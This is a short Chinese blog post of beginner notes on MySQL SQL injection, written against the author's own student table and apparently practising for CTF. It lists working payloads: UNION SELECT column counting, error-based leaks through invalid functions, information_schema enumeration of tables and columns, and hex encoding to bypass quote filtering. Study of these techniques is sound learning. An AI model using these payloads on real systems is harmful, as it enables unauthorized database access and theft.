代码改变世界

sql注入教学

2018-04-25 15:43  yongchin  阅读(731)  评论(0编辑  收藏  举报

新手入坑sql注入,以下是笔记

首先本人存在这么一个mysql数据库

 

爆库

方法一:

先猜有几列

select * from student where Sid =1 UNION SELECT 1,2,3,4

数字依次增加,发现有四列,然后通过database()来爆表名

select * from student where Sid =1 UNION SELECT DATABASE(),2,3,4

 

 方法二:

通过构造一个不存在的函数a()

select * from student where Sid =1-a()

 

 

爆表

 【通过错误日志反馈得到】

select * from student where Sid =1 and polygon(Sid)

 

可以看到库名,表名都被爆出来了

 

【通过查询得到】

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

爆字段

【通过查询得到】

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

有些屏蔽了引号,可以用十六进制绕过,比如fl4g转成

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#